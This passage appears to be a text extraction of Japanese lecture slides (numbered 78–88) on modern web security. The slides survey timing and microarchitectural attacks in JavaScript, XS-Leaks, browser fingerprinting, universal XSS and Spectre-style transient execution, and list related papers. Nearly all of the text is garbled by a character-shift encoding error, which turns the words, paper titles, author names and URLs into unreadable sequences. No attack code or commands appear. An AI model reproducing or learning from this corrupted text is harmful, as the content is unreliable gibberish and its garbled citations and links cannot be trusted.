    ‣ JGSBNFͳΒͦͷϑϨʔϜMPBEΠϕϯτΛMJTUFOͰ͖Δɻ ‣ %0.$POUFOU-PBEFE %$- Πϕϯτ ‣ ࣮͸''Ͱ͸ϖʔδதͷJGSBNFͰੜͨ͡%$-ΠϕϯτΛMJTUFOग़ དྷΔ ੲ͔Βͷ࢓༷ ʜ%0.'SBNF$POUFOU-PBEFE ‣ ࢀর(FDLPݻ༗ͷ%0.ΠϕϯτҰཡ
 IUUQTEFWFMPQFSNP[JMMBPSHKBEPDT(FDLP4QFDJpD@%0.@&WFOUT ‣ JNHͷPOFSSPSଐੑ ‣ Ϩεϙϯε͕ؼ͖ͬͯͨλΠϛϯάͷଌఆʹ࢖ΘΕ͍ͯͨ ࠓ͸  

  78. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ༨ஊ
 .JDSPBSDIJUFDUVSBM"UUBDLT ‣ ʮਫ਼౓ͷ͍͍ཧ૝తͳλΠϚʯ͕͋Ε͹ɺ+4͔ΒͰ͋ͬͯ΋ɺ .JDSPBSDIJUFDUVSBM"UUBDLT͕࣮ݱ͞Ε͏Δɻ ‣ 4DIXBS[ FUBM

    ʮਫ਼౓ͷ͍͍ཧ૝తͳλΠϚʯͷݚڀ ‣ .4DIXBS[ $.BVSJDF %(SVTT BOE4.BOHBSE l'BOUBTUJD5JNFSTBOE8IFSFUP'JOE5IFN)JHI 3FTPMVUJPO.JDSPBSDIJUFDUVSBM"UUBDLTJO+BWB4DSJQUz ‣ -JQQFUBM ࣮ࡍͷ߈ܸʹؔ͢Δݚڀ ‣ .-JQQ %(SVTT .4DIXBS[ %#JEOFS $.BVSJDF BOE4.BOHBSE l1SBDUJDBMLFZTUSPLFUJNJOH BUUBDLTJOTBOECPYFE+BWB4DSJQU z-FDU/PUFT$PNQVU4DJ JODMVEJOH4VCTFS-FDU/PUFT"SUJG*OUFMM -FDU/PUFT#JPJOGPSNBUJDT WPM-/$4 QQr  ‣ ͦͷଞɺ&WFOU%SJWFO1SPHSBNNJOH &%1 ʹ஫໨ͨ͠λΠϛϯ ά߈ܸ΋ఏҊ͞Ε͍ͯΔ 7JMBBOE,ÖQG  ɻ ‣ 17JMBBOE#,ÖQG l-PPQIPMF5JNJOHBUUBDLTPOTIBSFEFWFOUMPPQTJO$ISPNF zUI64&/*94FDVS 4ZNQ 64&/*94FDVS QQr   

  79. ༨ஊ
 0SJHJOΛ͑ͯ͜

  80. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0SJHJOΛ͑ͯ͜
 ΋ͬͱ8FCΛݟԼΖͯ͠ΈΔ ‣ ੔ཧ944 94-FBL"UUBDLT͸ɺͲͪΒ΋ݸผͷ0SJHJOʹର͢Δ ߈ܸͰ͋Δ͜ͱ͕෼͔Δɻ ‣ 944͋Δ0SJHJOʹର͢ΔεΫϦϓτͷ஫ೖʹΑΔσʔλୣऔ

    ‣ 94-FBLT͋Δ0SJHJOͷ֎͔Βͷ؍ଌʹΑΔσʔλͷਪఆ ୣऔ  ‣ ໰0SJHJOΛ·͕ͨͬͨ߈ܸͱͯ͠͸ɺͲΜͳ΋ͷ͕ߟ͑ΒΕΔ͔ɻ ‣ ྫτϥοΩϯά ‣ 0SJHJOͷڥքΛӽ͑ͯϢʔβʔΛ௥͍͔͚Δ ‣ ྫϒϥ΢βશମ ͋Δ͍͸4JUF୯Ґ ʹର͢Δ߈ܸ ‣ 6944 ‣ 3$&PS5SBOTJFOU&YFDVUJPO"UUBDLT  

  81. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ #SPXTFS'JOHFSQSJOUJOH
 σʔλ͸౪Ίͳͯ͘΋ʁ ‣ -BQFSESJYFUBM ΒʹΑΔઆ໌ ‣ #SPXTFS'JOHFSQSJOUͱ͸ɺϢʔβʔͷσόΠεʹؔ࿈ͨ͠Ұཡͷ৘ ใ

    FH࢖༻͍ͯ͠Δ୺຤ 04 ϒϥ΢β ઃఆ  ͷ͜ͱɻ ‣ #SPXTFS'JOHFSQSJOUJOH #1 ͱ͸8FCϒϥ΢β্͔ΒσόΠεͷ 'JOHFSQSJOUΛੜ੒͢Δߦҝͷ͜ͱɻ ‣ τϥοΩϯά΍੬ऑੑݕग़ɺ'SBVEEFUFDUJPO౳ʹར༻͞ΕΔɻ ‣ ໰#1ͱଞख๏ͷؒͰͷҧ͍͸ʁ ‣ ໰ͷ#1͸εςʔτϨεͰ͋Γɺଞख๏͸ͦ͏Ͱͳ͍΋ͷ͕ଟ͍ɻ ‣ ଞख๏ͷྫʜ$PPLJFͳͲΛ༻͍Δ  

  82. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ #SPXTFS'JOHFSQSJOUJOH
 ཈͓͑ͯ͘΂͖࿦จ ‣ ͜ͷ෼໺ʹؔͯ͠͸ɺલ߲Ͱڍ͛ͨ-BQFSESJYFUBM ʹΑΔ αʔϕΠ͕ඇৗʹৄ͍͠ɻ ‣ 1-BQFSESJY

    /#JFMPWB ##BVESZ BOE("WPJOF l#SPXTFS 'JOHFSQSJOUJOH"TVSWFZ z$P33 WPMBCT  ‣ 4DIXBS[FUBM Ͱ͸ϒϥ΢β্ͰͷpOHFSQSJOUͷੜ੒Λࣗ ಈԽ +BWB4DSJQU5FNQMBUF"UUBDLT ͕ఏҊ͞Ε͍ͯΔɻ ‣ .4DIXBS[ '-BDLOFS BOE%(SVTT l+BWB4DSJQU5FNQMBUF "UUBDLT"VUPNBUJDBMMZ*OGFSSJOH)PTU*OGPSNBUJPOGPS5BSHFUFE &YQMPJUT z/ETT OP'FCSVBSZ   

  83. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 6944
 6OJWFSTBM$SPTT4JUF4DSJQUJOH͞ΘΓ͚ͩ ‣ 6944߈ܸऀ͕೚ҙ0SJHJOΛ΋ͬͨεΫϦϓτΛ࣮ߦͰ͖ΔΑ͏ ͳ੬ऑੑͷ͜ͱɻ ‣ ݪҼϒϥ΢βຊମɾϓϥάΠϯɾϒϥ΢β֦ுͷ࣮૷ෆඋɻ ‣

    ඞಡ ‣ 6944EC
 IUUQTHJUIVCDPN.FUOFXVYTTEC ‣ .BTBUP,JOVHBXBࢯͷϒϩά
 IUUQTNBTBUPLJOVHBXBMDN ‣ (PPHMF͔Βग़ͨ೥ͷ࿦จ
 IUUQTBJHPPHMFSFTFBSDIQVCTQVC  

  84. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 5SBOTJFOU&YFDVUJPO"UUBDLT
 FH4QFDUSF .FMUEPXO ‣ 5SBOTJFOU&YFDVUJPO"UUBDLT ‣ ഑෍1%'ͷ$IBQUFSࢀরɻ ‣

    ڵຯͷ͋Δਓ͸ҎԼΛಡΉͱงғؾ͕෼͔Δ͔΋͠Εͳ͍ɻ ‣ (SVTTࢯͷത࢜࿦จ IUUQTHSVTTDD͔Β୧ΕΔ  ‣ $$BOFMMBFUBM l"4ZTUFNBUJD&WBMVBUJPOPG5SBOTJFOU&YFDVUJPO "UUBDLTBOE%FGFOTFT z ‣ 3.DJMSPZ +4FWDJL 55FCCJ #-5JU[FS BOE57FSXBFTU  l4QFDUSFJTIFSFUPTUBZ"OBOBMZTJTPGTJEFDIBOOFMTBOE TQFDVMBUJWFFYFDVUJPO zQQr  ‣ ͜ΕΒͷൃల͕4JUF*TPMBUJPO $03# $031 $0&1 ΁ͷਐలΛଅ ͨ͠ ɺͱݴͬͯΑ͍ͱࢥ͏ ɻ  

  85. &YFSDJTF
 3FDPO$IBMMFOHF ඇެ։

  86. $PODMVTJPO

  87. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࠷ޙʹ
 ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ߈ܸͱ๷ޚ͸ཪදɻྺ࢙ʹֶ΅͏ɻ ‣ 8FCηΩϡϦςΟΛֶͿجૅମྗΛཆ͏͜ͱ͸Ͱ͖·͔ͨ͠ʁ ‣ ࠓճऔΓ্͍͛ͯͳ͍࿩୊͸ͨ͘͞Μ͋Γ·͢ɻ

    N944 5SVTUFE5ZQFT   ‣ ͨͩɺ΋͏े෼ཧղ͢Δ౔୆͸͋Δ͸ͣɻ ‣ ײ૝Λ5XJUUFSͰͭͿ΍͍ͯ͘ΕΔͱخ͍͠Ͱ͢ɻ ‣ TFDDBNQTFDDBNQC ‣ ࠓޙ΋Ұॹʹ8FCηΩϡϦςΟΛֶΜͰ͍͖·͠ΐ͏  ‣ 'PMMPX!MNU@TXBMMPX!ZOVDIZ ‣ ࣄલ՝୊ͰಡΜͰ΋ΒͬͨຊͷϨϏϡϫʔ΋ืू͍ͯ͠·͢ɻ  

  88. "OZ2VFTUJPOT